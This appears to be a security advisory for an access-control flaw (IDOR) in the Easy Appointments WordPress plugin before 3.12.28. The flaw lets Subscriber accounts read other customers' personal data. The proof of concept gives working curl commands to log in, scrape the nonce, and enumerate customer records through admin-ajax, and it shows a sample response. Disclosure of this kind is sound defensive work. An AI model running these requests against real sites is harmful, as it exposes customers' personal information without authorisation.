Easy Appointments < 3.12.28 – Subscriber+ Customer PII Disclosure via IDOR | CVE 2026-14223

Description

The plugin does not verify ownership or capability when returning stored customer details, allowing users with subscriber-level access to read any customer's personal information by iterating an identifier.

Proof of Concept

Prerequisites: Easy Appointments active with "Customer Search" enabled (Settings; off by default); a page containing the [ea_bootstrap] shortcode; at least one customer record; a Subscriber account.

1. Log in as the Subscriber and capture cookies:
   curl -skL -c cookies.txt -d "log=subscriber&pwd=PASSWORD&wp-submit=Log+In&testcookie=1" "https://victim.example/wp-login.php"

2. Scrape the front-end nonce from the public booking page (emitted as var ea_settings = {...,"check":"..."}):
   NONCE=$(curl -skL -b cookies.txt "https://victim.example/booking-page/" | grep -o '"check":"[^"]*"' | head -1 | sed 's/.*"check":"//; s/"//')

3. Read any customer's full PII by iterating id:
   curl -sk -b cookies.txt -X POST "https://victim.example/wp-admin/admin-ajax.php" -d "action=ea_get_customer_detail&id=1&check=$NONCE"

Response (foreign customer record):
   {"id":"1","user_id":null,"name":"Alice Victim","email":"alice@example.com","mobile":"07700900123","dob":"1985-04-12","address":"42 Secret Lane"}

id=2,3,... enumerates the customer table; omitting check returns -1 (the nonce is required but freely scrapable by any logged-in user).